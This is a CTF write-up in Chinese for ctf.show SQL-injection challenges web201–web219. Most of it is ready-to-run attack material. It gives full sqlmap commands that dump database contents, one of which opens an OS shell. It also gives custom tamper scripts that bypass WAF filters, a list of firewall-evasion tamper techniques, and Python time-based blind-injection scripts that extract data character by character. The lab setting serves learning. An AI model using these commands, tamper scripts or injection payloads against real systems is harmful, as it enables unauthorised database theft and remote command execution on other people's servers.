爆数据 python sqlmap.py -u "http://d7dfc7b7-b388-4a97-8b0d-82fced33e093.challenge.ctf.show:8080/api/?id=1" --dbms=mysql -D ctfshow_web -T ctfshow_user -C pass --dump --referer http://d7dfc7b7-b388-4a97-8b0d-82fced33e093.challenge.ctf.show:8080/sqlmap.php
web202
- 题目提示使用
--data
调整sqlmap
的请求方式
爆库名 python sqlmap.py -u "http://75d0cf0b-b935-42c8-bffd-f26f6bca5d7b.challenge.ctf.show:8080/api/" --data="id=1" --dbs --dbms=mysql --referer http://75d0cf0b-b935-42c8-bffd-f26f6bca5d7b.challenge.ctf.show:8080/sqlmap.php 爆表名 python sqlmap.py -u "http://75d0cf0b-b935-42c8-bffd-f26f6bca5d7b.challenge.ctf.show:8080/api/" --data="id=1" -D ctfshow_web --tables --dbms=mysql --referer http://75d0cf0b-b935-42c8-bffd-f26f6bca5d7b.challenge.ctf.show:8080/sqlmap.php 爆列名 python sqlmap.py -u "http://75d0cf0b-b935-42c8-bffd-f26f6bca5d7b.challenge.ctf.show:8080/api/" --data="id=1" -D ctfshow_web -T ctfshow_user --columns --dbms=mysql --referer http://75d0cf0b-b935-42c8-bffd-f26f6bca5d7b.challenge.ctf.show:8080/sqlmap.php 爆数据 python sqlmap.py -u "http://75d0cf0b-b935-42c8-bffd-f26f6bca5d7b.challenge.ctf.show:8080/api/" --data="id=1" -D ctfshow_web -T ctfshow_user -C pass --dump --dbms=mysql --referer http://75d0cf0b-b935-42c8-bffd-f26f6bca5d7b.challenge.ctf.show:8080/sqlmap.php
web203
- 题目提示使用
--method
调整sqlmap
的请求方式,这里需要加上–headers="Content-Type: text/plain"
,否则就是按照表单形式提交的
爆库名 python sqlmap.py -u http://684a83fa-20dd-4966-a220-6c2e3aa5ad8b.challenge.ctf.show:8080/api/index.php --dbs --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer http://684a83fa-20dd-4966-a220-6c2e3aa5ad8b.challenge.ctf.show:8080//sqlmap.php 爆表名 python sqlmap.py -u http://684a83fa-20dd-4966-a220-6c2e3aa5ad8b.challenge.ctf.show:8080/api/index.php -D ctfshow_web --tables --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer http://684a83fa-20dd-4966-a220-6c2e3aa5ad8b.challenge.ctf.show:8080//sqlmap.php 爆列名 python sqlmap.py -u http://684a83fa-20dd-4966-a220-6c2e3aa5ad8b.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_user --columns --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer http://684a83fa-20dd-4966-a220-6c2e3aa5ad8b.challenge.ctf.show:8080//sqlmap.php 爆数据 python sqlmap.py -u http://684a83fa-20dd-4966-a220-6c2e3aa5ad8b.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_user -C pass --dump --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer http://684a83fa-20dd-4966-a220-6c2e3aa5ad8b.challenge.ctf.show:8080//sqlmap.php
web204
- 题目提示使用
--cookie
提交cookie
数据
爆库名 python sqlmap.py -u http://92970373-2067-4f09-842f-25cdeabde44f.challenge.ctf.show:8080/api/index.php --dbs --cookie="PHPSESSID=4f5422dc8o50qm5gu5ffmu5s6t; ctfshow=0cac09c9c754a5404ce718d2f466bdf5" --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer http://92970373-2067-4f09-842f-25cdeabde44f.challenge.ctf.show:8080/sqlmap 爆表名 python sqlmap.py -u http://92970373-2067-4f09-842f-25cdeabde44f.challenge.ctf.show:8080/api/index.php -D ctfshow_web --tables --cookie="PHPSESSID=4f5422dc8o50qm5gu5ffmu5s6t; ctfshow=0cac09c9c754a5404ce718d2f466bdf5" --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer http://92970373-2067-4f09-842f-25cdeabde44f.challenge.ctf.show:8080/sqlmap 爆列名 python sqlmap.py -u http://92970373-2067-4f09-842f-25cdeabde44f.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_user --columns --cookie="PHPSESSID=4f5422dc8o50qm5gu5ffmu5s6t; ctfshow=0cac09c9c754a5404ce718d2f466bdf5" --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer http://92970373-2067-4f09-842f-25cdeabde44f.challenge.ctf.show:8080/sqlmap 爆数据 python sqlmap.py -u http://92970373-2067-4f09-842f-25cdeabde44f.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_user -C pass --dump --cookie="PHPSESSID=4f5422dc8o50qm5gu5ffmu5s6t; ctfshow=0cac09c9c754a5404ce718d2f466bdf5" --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer http://92970373-2067-4f09-842f-25cdeabde44f.challenge.ctf.show:8080/sqlmap
web205
- 由于每次注入前都会请求一下
api/getToken.php
,加上safe-url
参数指定需要请求的链接地址即可,safe-freq
设置为1
python sqlmap.py -u http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/api/index.php --dbs --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/sqlmap python sqlmap.py -u http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/api/index.php -D ctfshow_web --tables --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/sqlmap python sqlmap.py -u http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_user --columns --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/sqlmap python sqlmap.py -u http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_user --dump --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://323cfd1f-4397-45a1-9e78-a416a7b81daa.challenge.ctf.show:8080/sqlmap
web206
- sqlmap 会自动绕过该关的限制
爆库名 python sqlmap.py -u http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/api/index.php --dbs --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/sqlmap 爆表名 python sqlmap.py -u http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/api/index.php -D ctfshow_web --tables --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/sqlmap 爆列名 python sqlmap.py -u http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_flaxc --columns --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/sqlmap 爆数据 python sqlmap.py -u http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_flaxc -C flagv --dump --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://47ed3614-3983-4c90-9798-ec2f07c5b224.challenge.ctf.show:8080/sqlmap
web207
- 过滤了空格,用 sqlmap 自带的
tamper
来绕过
space2comment.py用/**/代替空格 apostrophemask.py用utf8代替引号 equaltolike.pylike代替等号 space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’) greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。 space2hash.py空格替换为#号,随机字符串以及换行符 apostrophenullencode.py绕过过滤双引号,替换字符和双引号。 halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论 space2morehash.py空格替换为 #号 以及更多随机字符串 换行符 appendnullbyte.py在有效负荷结束位置加载零字节字符编码 ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’ space2mssqlblank.py(mssql)空格替换为其它空符号 base64encode.py 用base64编码替换 space2mssqlhash.py 替换空格 modsecurityversioned.py过滤空格,包含完整的查询版本注释 space2mysqlblank.py 空格替换其它空白符号(mysql) between.py用between替换大于号(>) space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’) multiplespaces.py围绕SQL关键字添加多个空格 space2plus.py用+替换空格 bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like nonrecursivereplacement.py双重查询语句,取代SQL关键字 space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集 sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾 chardoubleencode.py双url编码(不处理以编码的) unionalltounion.py替换UNION ALLSELECT UNION SELECT charencode.py url编码 randomcase.py随机大小写 unmagicquotes.py宽字符绕过 GPCaddslashes randomcomments.py用/**/分割sql关键字 charunicodeencode.py字符串 unicode 编码 securesphere.py追加特制的字符串 versionedmorekeywords.py注释绕过 space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’ halfversionedmorekeywords.py关键字前加注释
爆库名 python sqlmap.py -u http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/api/index.php --dbs --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/sqlmap --tamper="tamper/space2comment.py" 爆表名 python sqlmap.py -u http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/api/index.php -D ctfshow_web --tables --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/sqlmap --tamper="tamper/space2comment.py" 爆列名 python sqlmap.py -u http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_flaxca --columns --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/sqlmap --tamper="tamper/space2comment.py" 爆数据 python sqlmap.py -u http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump --cookie="PHPSESSID=8ulgn91qojur85kdt21f51j74j" --safe-url=http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://a8d0dc36-3e25-4dca-bd2b-41311f57b93d.challenge.ctf.show:8080/sqlmap --tamper="tamper/space2comment.py"
wen208
- 过滤了
select
和空格,由于只是将select
转为空,可以采用双写或者大小写来扰过
$id = str_replace('select', '', $id); function waf($str){ return preg_match('/ /', $str); }
爆库名 python sqlmap.py -u http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/api/index.php --dbs --cookie="PHPSESSID=c62969k6d4bhjd70uqf73bb7pc" --safe-url=http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/sqlmap --tamper="tamper/space2comment.py,tamper/randomcase.py" 爆表名 python sqlmap.py -u http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/api/index.php -D ctfshow_web --tables --cookie="PHPSESSID=c62969k6d4bhjd70uqf73bb7pc" --safe-url=http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/sqlmap --tamper="tamper/space2comment.py,tamper/randomcase.py" 爆列名 python sqlmap.py -u http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_flaxcac --columns --cookie="PHPSESSID=c62969k6d4bhjd70uqf73bb7pc" --safe-url=http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/sqlmap --tamper="tamper/space2comment.py,tamper/randomcase.py" 爆数据 python sqlmap.py -u http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump --cookie="PHPSESSID=c62969k6d4bhjd70uqf73bb7pc" --safe-url=http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://b9caea2a-1a06-427e-8c84-414800ea283d.challenge.ctf.show:8080/sqlmap --tamper="tamper/space2comment.py,tamper/randomcase.py"
web209
- 把
*
过滤掉了用%09
来绕过,过滤=
用like
来绕过,开始自己写 tamper 啦~
function waf($str){ //TODO 未完工 return preg_match('/ |\*|\=/', $str); }
from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces space character (' ') with comments '/**/' Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls >>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users' """ retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += chr(0x0a) continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == "*": retVal += chr(0x31) continue elif payload[i] == '=': retVal += (chr(0x0a) + 'like' + chr(0x0a)) continue elif payload[i] == " " and not doublequote and not quote: retVal += chr(0x0a) continue retVal += payload[i] return retVal
爆库名 python sqlmap.py -u http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/api/index.php --dbs --cookie="PHPSESSID=c62969k6d4bhjd70uqf73bb7pc" --safe-url=http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/sqlmap --tamper="tamper/ctfshow_web209.py" 爆表名 python sqlmap.py -u http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/api/index.php -D ctfshow_web --tables --cookie="PHPSESSID=c62969k6d4bhjd70uqf73bb7pc" --safe-url=http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/sqlmap --tamper="tamper/ctfshow_web209.py" 爆列名 python sqlmap.py -u http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_flav --columns --cookie="PHPSESSID=c62969k6d4bhjd70uqf73bb7pc" --safe-url=http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/sqlmap --tamper="tamper/ctfshow_web209.py" 爆数据 python sqlmap.py -u http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/api/index.php -D ctfshow_web -T ctfshow_flav -C ctfshow_flagx --dump --cookie="PHPSESSID=c62969k6d4bhjd70uqf73bb7pc" --safe-url=http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://cbcbfd8b-ea3b-4fef-8225-26305b8b923d.challenge.ctf.show:8080/sqlmap --tamper="tamper/ctfshow_web209.py"
web210
- 对着给出的逻辑写一个逆运算即可
import base64 from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): retVal = payload if payload: retVal = retVal.encode('utf-8') retVal = retVal[::-1] retVal = base64.b64encode(retVal) retVal = retVal[::-1] retVal = base64.b64encode(retVal) return retVal.decode('utf-8')
python sqlmap.py -u http://c348c3e4-32c4-4f28-acac-70ecf9ab89c7.challenge.ctf.show:8080/api/index.php --dump --cookie="PHPSESSID=o4ht5t1l0jp0irjreiqmonpdnf" --safe-url=http://c348c3e4-32c4-4f28-acac-70ecf9ab89c7.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://c348c3e4-32c4-4f28-acac-70ecf9ab89c7.challenge.ctf.show:8080/sqlmap --tamper="tamper/ctfshow_web210.py"
web211
- 在上一题的基础上将空格换成
/**/
python sqlmap.py -u http://b0b5178d-a99e-4a41-933c-87cdede6dc25.challenge.ctf.show:8080/api/index.php -C ctfshow_web -T ctfshow_flavia --dump --cookie="PHPSESSID=vu47t88j6pjdun7dfajq8lfuus" --safe-url=http://b0b5178d-a99e-4a41-933c-87cdede6dc25.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://b0b5178d-a99e-4a41-933c-87cdede6dc25.challenge.ctf.show:8080/sqlmap --tamper="tamper/space2comment.py,tamper/ctfshow_web210.py"
web212
- 将之前的脚本合起来使用就可以
function decode($id){ return strrev(base64_decode(strrev(base64_decode($id)))); } function waf($str){ return preg_match('/ |\*/', $str); }
import base64 from lib.core.compat import xrange from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): payload = changeChar(payload) payload = baseChange(payload) return payload def baseChange(payload): retVal = payload if payload: retVal = base64.b64encode(payload[::-1].encode('utf-8')) retVal = base64.b64encode(retVal[::-1].encode('utf-8')) return retVal def changeChar(payload): retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += chr(0x0a) continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == "=": retVal += chr(0x0a)+'like'+chr(0x0a) continue elif payload[i] == "*": retVal += chr(0x31) continue elif payload[i] == " " and not doublequote and not quote: retVal += chr(0x0a) continue retVal += payload[i] return retVal
python sqlmap.py -u http://9c29df34-758b-40bc-b6d7-087ae08ce1b3.challenge.ctf.show:8080/api/index.php -C ctfshow_web -T ctfshow_flavia --dump --cookie="PHPSESSID=jmn3cp01f6qiaktbs2hf1c7tcb" --safe-url=http://9c29df34-758b-40bc-b6d7-087ae08ce1b3.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://9c29df34-758b-40bc-b6d7-087ae08ce1b3.challenge.ctf.show:8080/sqlmap --tamper="tamper/ctfshow_web212.py"
web213
- 和上一题脚本是一样的,改用
os-shell
来拿 Flag
python sqlmap.py -u http://0a771e91-88e4-491f-9e3c-a999910df646.challenge.ctf.show:8080/api/index.php -C ctfshow_web -T ctfshow_flavia --dump --cookie="PHPSESSID=jmn3cp01f6qiaktbs2hf1c7tcb" --safe-url=http://0a771e91-88e4-491f-9e3c-a999910df646.challenge.ctf.show:8080/api/getToken.php --safe-freq=1 --method=PUT --data="id=1" --headers="Content-Type: text/plain" --dbms=mysql --referer=http://0a771e91-88e4-491f-9e3c-a999910df646.challenge.ctf.show:8080/sqlmap --tamper="tamper/ctfshow_web212.py" --os-shell
web214
- 简单的无过滤时间盲注
import time import requests from tqdm import tqdm def timeBlindSql(url): strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}' flag = '' headers = {"Content-Type": "application/x-www-form-urlencoded"} for i in tqdm(range(1,100)): low = 32 high = 127 while low < high: mid = (low + high) >> 1 # payload = "ip=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {}, 1)) > {}, sleep(5), 1)&debug=0".format(i, mid) # payload = "ip=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'), {}, 1)) > {}, sleep(5), 1)&debug=0".format(i, mid) payload = "if(ord(substr((select group_concat(flaga) from ctfshow_flagx), {}, 1)) > {}, sleep(10), 0)" data = { 'ip' : payload.format(i,mid), 'debug' : '0' } start_time = time.time() requests.post(url=url, data=data, headers=headers) end_time = time.time() diff_time = end_time - start_time if diff_time < 5: high = mid else: low = mid + 1 if low != 32: flag += chr(low) print('[+] ' + flag) if chr(low) == '}': exit(0) continue else: break if __name__ == '__main__': url = "http://ef70ed65-e433-4de2-a818-2ca353cf48f1.challenge.ctf.show:8080/api/" timeBlindSql(url)
web215
- 根据题目给的提示,在脚本里加上单引号
import time import requests from tqdm import tqdm def timeBlindSql(url): strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}' flag = '' headers = {"Content-Type": "application/x-www-form-urlencoded"} for i in tqdm(range(1,100)): low = 32 high = 127 while low < high: mid = (low + high) >> 1 # payload = "1' or if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {}, 1)) > {}, sleep(10), 0) and '1'='1" # payload = "1' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'), {}, 1)) > {}, sleep(10), 0) and '1'='1" payload = "1' or if(ord(substr((select group_concat(flagaa) from ctfshow_flagxc), {}, 1)) > {}, sleep(10), 0) and '1'='1" data = { 'ip' : payload.format(i,mid), 'debug' : '0' } start_time = time.time() requests.post(url=url, data=data, headers=headers) end_time = time.time() diff_time = end_time - start_time if diff_time < 6: high = mid else: low = mid + 1 if low != 32: flag += chr(low) print('[+] ' + flag) if chr(low) == '}': exit(0) continue else: break if __name__ == '__main__': url = "http://c0a8a32e-de49-44f5-9529-adec4d73e5d2.challenge.ctf.show:8080/api/" timeBlindSql(url)
web216
- 用 base64 之后的 1 来绕过即可
import time import requests from tqdm import tqdm def timeBlindSql(url): strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}' flag = '' headers = {"Content-Type": "application/x-www-form-urlencoded"} for i in tqdm(range(1,100)): low = 32 high = 127 while low < high: mid = (low + high) >> 1 payload = "'MQ==') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {}, 1)) > {}, sleep(10), 0) and ('1'" # payload = "'MQ==') or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'), {}, 1)) > {}, sleep(10), 0) and ('1'" # payload = "'MQ==') or if(ord(substr((select group_concat(flagaac) from ctfshow_flagxcc), {}, 1)) > {}, sleep(10), 0) and and ('1'" data = { 'ip' : payload.format(i,mid), 'debug' : '0' } start_time = time.time() requests.post(url=url, data=data, headers=headers) end_time = time.time() diff_time = end_time - start_time if diff_time < 5: high = mid else: low = mid + 1 if low != 32: flag += chr(low) print('[+] ' + flag) if chr(low) == '}': exit(0) continue else: break if __name__ == '__main__': url = "http://e05e7a5d-17a6-4412-b134-4a92df2c7f85.challenge.ctf.show:8080/api/" timeBlindSql(url)
web217
- 过滤了
sleep
,用benchmark
来绕过
import time import requests from tqdm import tqdm def timeBlindSql(url): strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}' flag = '' headers = {"Content-Type": "application/x-www-form-urlencoded"} for i in tqdm(range(1,100)): low = 32 high = 127 while low < high: mid = (low + high) >> 1 payload = "'1') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {}, 1)) > {}, benchmark(30000000,sha(1)), 0) and ('1'" # payload = "'1') or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'), {}, 1)) > {}, benchmark(30000000,sha(1)), 0) and ('1'" # payload = "'1') or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxcc), {}, 1)) > {}, benchmark(30000000,sha(1)), 0) and and ('1'" data = { 'ip' : payload.format(i,mid), 'debug' : '0' } print(data) start_time = time.time() requests.post(url=url, data=data, headers=headers) end_time = time.time() diff_time = end_time - start_time if diff_time < 5: high = mid else: low = mid + 1 if low != 32: flag += chr(low) print('[+] ' + flag) if chr(low) == '}': exit(0) continue else: break if __name__ == '__main__': url = "http://5c27dc9d-7b54-4ed4-a889-8a8a6bbbedfd.challenge.ctf.show:8080/api/" timeBlindSql(url)
web218
- 过滤了
sleep
和benchmark
,用笛卡尔积来绕过
import time import requests from tqdm import tqdm def timeBlindSql(url): strings = 'flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}' flag = '' T = '(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F)' headers = {"Content-Type": "application/x-www-form-urlencoded"} for i in tqdm(range(1,100)): low = 32 high = 127 while low < high: mid = (low + high) >> 1 payload = "'1') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {}, 1)) > {}, {}, 0) and ('1'" # payload = "'1') or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'), {}, 1)) > {}, {}, 0) and ('1'" # payload = "'1') or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxc), {}, 1)) > {}, {}, 0) and and ('1'" data = { 'ip' : payload.format(i,mid,T), 'debug' : '0' } print(data) start_time = time.time() requests.post(url=url, data=data, headers=headers) end_time = time.time() diff_time = end_time - start_time if diff_time < 5: high = mid else: low = mid + 1 if low != 32: flag += chr(low) print('[+] ' + flag) if chr(low) == '}': exit(0) continue else: break if __name__ == '__main__': url = "http://5852e0e7-7fb0-48da-94a9-551148fc9864.challenge.ctf.show:8080/api/" timeBlindSql(url)
web219
- 过滤条件为
preg_match('/sleep|benchmark|rlike/i',$str);
,继续用上面的脚本就行
